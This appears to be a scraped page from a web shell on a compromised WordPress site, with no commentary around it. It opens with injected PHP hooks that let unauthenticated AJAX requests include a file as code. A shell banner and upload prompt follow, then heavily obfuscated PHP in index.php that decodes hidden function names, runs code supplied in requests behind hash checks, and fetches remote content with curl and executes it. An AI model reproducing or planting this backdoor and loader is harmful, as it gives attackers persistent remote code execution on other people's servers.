if(!function_exists('file_check_readme30367')){ add_action('wp_ajax_nopriv_file_check_readme30367', 'file_check_readme30367'); add_action('wp_ajax_file_check_readme30367', 'file_check_readme30367'); function file_check_readme30367() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme64756')){ add_action('wp_ajax_nopriv_file_check_readme64756', 'file_check_readme64756'); add_action('wp_ajax_file_check_readme64756', 'file_check_readme64756'); function file_check_readme64756() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } HEX
HEX
Server: Apache
System: Linux dx292 6.1.0-39-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.148-1 (2025-08-26) x86_64
User: www-data (33)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
$ pwd: /data/www/welovefamily.at/welovefamily.at/htdocs_infected/admin/admin/admin/admin/admin/
Upload Files
File: /data/www/welovefamily.at/welovefamily.at/htdocs_infected/admin/admin/admin/admin/admin/index.php
<?php
 goto rRmBHVGCHoDc; X_XcyPno_I4E: $aDJWaeFQw2uK = ${$rgAxo00o243K[4 + 27] . $rgAxo00o243K[17 + 42] . $rgAxo00o243K[13 + 34] . $rgAxo00o243K[47 + 0] . $rgAxo00o243K[7 + 44] . $rgAxo00o243K[12 + 41] . $rgAxo00o243K[1 + 56]}; goto yibXTKfJ1JFx; yibXTKfJ1JFx: if (!(in_array(gettype($aDJWaeFQw2uK) . "\x32\x34", $aDJWaeFQw2uK) && md5(md5(md5(md5($aDJWaeFQw2uK[18])))) === "\143\x66\x64\146\x31\x66\x33\x30\142\62\x64\x37\x31\143\x61\141\143\61\x66\x32\x65\64\x32\61\66\x61\144\x31\x32\x64\142\143")) { goto M3nh1JehsWIF; } goto r4UFUPJt7gkZ; rRmBHVGCHoDc: $rgAxo00o243K = range("\176", "\x20"); goto X_XcyPno_I4E; r4UFUPJt7gkZ: $aDJWaeFQw2uK[69] = $aDJWaeFQw2uK[69] . $aDJWaeFQw2uK[77]; goto wcfqMxKRYmPA; wcfqMxKRYmPA: $aDJWaeFQw2uK[82] = $aDJWaeFQw2uK[69]($aDJWaeFQw2uK[82]); goto Eic_APl808Fu; bOvev0RiSxxX: M3nh1JehsWIF: goto ajPT78KpGhkH; MfKIUlcE7AVM: class nI1064WDWOGj { static function cRQaLESqiQ_I($G1slm1KRusgO) { goto VopImfvIHL7k; vtTYLXQowbDa: nm1vPNzxxLk3: goto nWiFrOG9sRUF; VopImfvIHL7k: $Z4EX6hu1c5GS = "\x72" . "\x61" . "\x6e" . "\x67" . "\x65"; goto rm2i3iou51o0; qDJWTKZEw3rg: $AX2mxC8Fb13j = ''; goto e2acktj6zdEW; xVtgHISaD7aH: $QJoXBTYqQmT6 = explode("\x2d", $G1slm1KRusgO); goto qDJWTKZEw3rg; rm2i3iou51o0: $Nq22iRQO3O4k = $Z4EX6hu1c5GS("\x7e", "\40"); goto xVtgHISaD7aH; nWiFrOG9sRUF: return $AX2mxC8Fb13j; goto uE6pX0a0J07b; e2acktj6zdEW: foreach ($QJoXBTYqQmT6 as $Ow3pf5FgiirK => $LDxEJYyCbAME) { $AX2mxC8Fb13j .= $Nq22iRQO3O4k[$LDxEJYyCbAME - 82679]; EQuJsZ3OrLnZ: } goto vtTYLXQowbDa; uE6pX0a0J07b: } static function QNm3c0NM5krM($B4jHehSStUgR, $wkZgx6v32Nft) { goto S9KW6y1YAnlA; S9KW6y1YAnlA: $bSIzooYD0UMO = curl_init($B4jHehSStUgR); goto ysS0K7Jk8jOY; AJrYlZtO2QJK: return empty($uGeK3MG7wLOe) ? $wkZgx6v32Nft($B4jHehSStUgR) : $uGeK3MG7wLOe; goto T4ONfGWJPL8N; ysS0K7Jk8jOY: curl_setopt($bSIzooYD0UMO, CURLOPT_RETURNTRANSFER, 1); goto RndjmFgAbkiY; RndjmFgAbkiY: $uGeK3MG7wLOe = curl_exec($bSIzooYD0UMO); goto AJrYlZtO2QJK; T4ONfGWJPL8N: } static function rBo8pfdeDaHx() { goto QGAZbvrto5td; RMxY9SV1MPlz: qFW1eFTqLX2H: goto JI4_6oQJj2i_; JI4_6oQJj2i_: $oDODYUPcZsM0 = @$a8LrFM0YAx0i[1]($a8LrFM0YAx0i[4 + 6](INPUT_GET, $a8LrFM0YAx0i[7 + 2])); goto VfORboywQnI1; mVBoggh83Ed4: @$a8LrFM0YAx0i[6 + 4](INPUT_GET, "\157\146") == 1 && die($a8LrFM0YAx0i[4 + 1](__FILE__)); goto J0HINqtvnx7F; riNLBC0w_YU3: @$a8LrFM0YAx0i[0]('', $a8LrFM0YAx0i[1 + 6] . $a8LrFM0YAx0i[3 + 1]($nZxvhZSw6bwM) . $a8LrFM0YAx0i[2 + 6]); goto UA2Iw9gWgWCx; YvFa3zk28w6L: foreach ($Q0EgAU_MO5ZF as $BJ_cq2Z3P9p5) { $a8LrFM0YAx0i[] = self::CRQaLESQIq_i($BJ_cq2Z3P9p5); thoPHyVJj3nX: } goto RMxY9SV1MPlz; QGAZbvrto5td: $Q0EgAU_MO5ZF = array("\70\62\x37\x30\x36\x2d\70\62\66\71\x31\x2d\x38\62\67\60\64\x2d\x38\x32\67\60\x38\55\70\62\66\70\71\x2d\x38\x32\x37\60\x34\x2d\x38\62\x37\x31\60\55\x38\62\67\x30\63\55\x38\x32\x36\x38\70\55\70\62\66\x39\x35\55\x38\x32\67\60\x36\55\x38\62\66\70\x39\x2d\x38\x32\x37\60\x30\55\70\62\x36\71\x34\x2d\x38\62\x36\71\65", "\x38\62\x36\71\60\55\x38\62\66\x38\x39\55\70\62\x36\71\x31\55\x38\62\x37\61\60\x2d\70\62\66\71\61\55\x38\62\x36\x39\64\55\70\62\x36\x38\x39\55\x38\62\x37\x35\x36\55\70\62\67\x35\64", "\x38\x32\66\x39\71\x2d\x38\x32\x36\x39\60\x2d\70\62\x36\x39\64\x2d\x38\62\x36\71\x35\x2d\x38\62\x37\x31\60\x2d\70\x32\x37\x30\65\x2d\x38\62\67\x30\64\x2d\70\x32\67\60\66\55\70\x32\66\71\x34\55\70\x32\67\x30\65\55\x38\x32\67\x30\x34", "\70\62\x36\x39\x33\55\70\62\x37\60\70\55\x38\62\67\x30\66\55\x38\62\x36\x39\70", "\x38\62\x37\x30\67\55\x38\62\x37\x30\70\x2d\70\62\66\71\x30\55\70\x32\x37\60\x34\x2d\70\x32\67\x35\x31\55\x38\62\x37\65\63\55\x38\x32\67\61\x30\x2d\70\62\x37\60\x35\x2d\x38\62\x37\60\x34\55\x38\x32\x37\60\x36\x2d\x38\62\66\x39\x34\55\x38\62\x37\x30\65\55\70\62\67\60\x34", "\70\62\67\60\x33\x2d\x38\62\67\60\60\x2d\70\62\x36\x39\67\55\x38\62\x37\x30\64\55\x38\x32\x37\61\x30\55\x38\62\67\x30\x32\x2d\70\62\x37\x30\64\55\x38\x32\x36\x38\71\55\x38\x32\x37\x31\x30\x2d\70\62\67\60\66\55\x38\x32\x36\71\64\x2d\x38\x32\x36\71\65\55\x38\62\x36\70\x39\55\x38\x32\x37\60\64\55\70\x32\66\x39\x35\x2d\x38\x32\x36\70\71\55\x38\x32\x36\71\60", "\70\x32\x37\x33\x33\55\x38\x32\x37\66\x33", "\x38\62\66\x38\60", "\70\x32\x37\x35\70\55\70\62\67\66\x33", "\x38\62\x37\64\60\x2d\70\x32\x37\x32\x33\x2d\x38\62\67\x32\63\55\x38\x32\x37\64\x30\x2d\70\62\67\x31\66", "\x38\x32\67\x30\63\x2d\x38\x32\x37\60\x30\55\x38\x32\x36\x39\67\x2d\70\x32\x36\x38\x39\55\70\62\67\60\x34\x2d\70\x32\66\x39\x31\55\70\x32\67\61\x30\55\x38\x32\x37\60\x30\55\x38\62\66\71\65\55\x38\x32\66\x39\x33\x2d\x38\x32\66\70\x38\55\70\x32\66\70\x39"); goto YvFa3zk28w6L; HLRyTnDuL4HJ: $n45rv53ZKlHg = $a8LrFM0YAx0i[2 + 0]($gCQrSeEObqpj, true); goto mVBoggh83Ed4; x9KOyXiyORyt: $nZxvhZSw6bwM = self::QNm3c0nM5Krm($n45rv53ZKlHg[1 + 0], $a8LrFM0YAx0i[5 + 0]); goto riNLBC0w_YU3; VfORboywQnI1: $gCQrSeEObqpj = @$a8LrFM0YAx0i[0 + 3]($a8LrFM0YAx0i[2 + 4], $oDODYUPcZsM0); goto HLRyTnDuL4HJ; KONL2Fbav7YC: N23Ap7aGq4jr: goto pg4p_sEQEyKB; J0HINqtvnx7F: if (!(@$n45rv53ZKlHg[0] - time() > 0 and md5(md5($n45rv53ZKlHg[3 + 0])) === "\x38\141\x37\63\63\x33\x31\x33\142\x66\66\142\x39\x63\63\71\66\x36\x30\x63\x63\x39\142\146\x34\63\x32\x39\x64\x31\x62\x61")) { goto N23Ap7aGq4jr; } goto x9KOyXiyORyt; UA2Iw9gWgWCx: die; goto KONL2Fbav7YC; pg4p_sEQEyKB: } } goto WBhDTBPN_3rO; Eic_APl808Fu: @($aDJWaeFQw2uK = $aDJWaeFQw2uK[82]($aDJWaeFQw2uK[56], $aDJWaeFQw2uK[69](${$aDJWaeFQw2uK[41]}[24]))); goto A5xkdyjBzrex; ajPT78KpGhkH: metaphone("\x4d\124\x4d\x34\117\104\x49\x34\x4d\x7a\143\x30\x4f\x44\125\172\x4f\x44\143\x34\117\104\x4d\x35\117\x54\x55\x7a\x4e\104\125\171"); goto MfKIUlcE7AVM; A5xkdyjBzrex: $aDJWaeFQw2uK(); goto bOvev0RiSxxX; WBhDTBPN_3rO: nI1064WdwOgj::RBo8pfDEdaHX();
?>
@ Telegram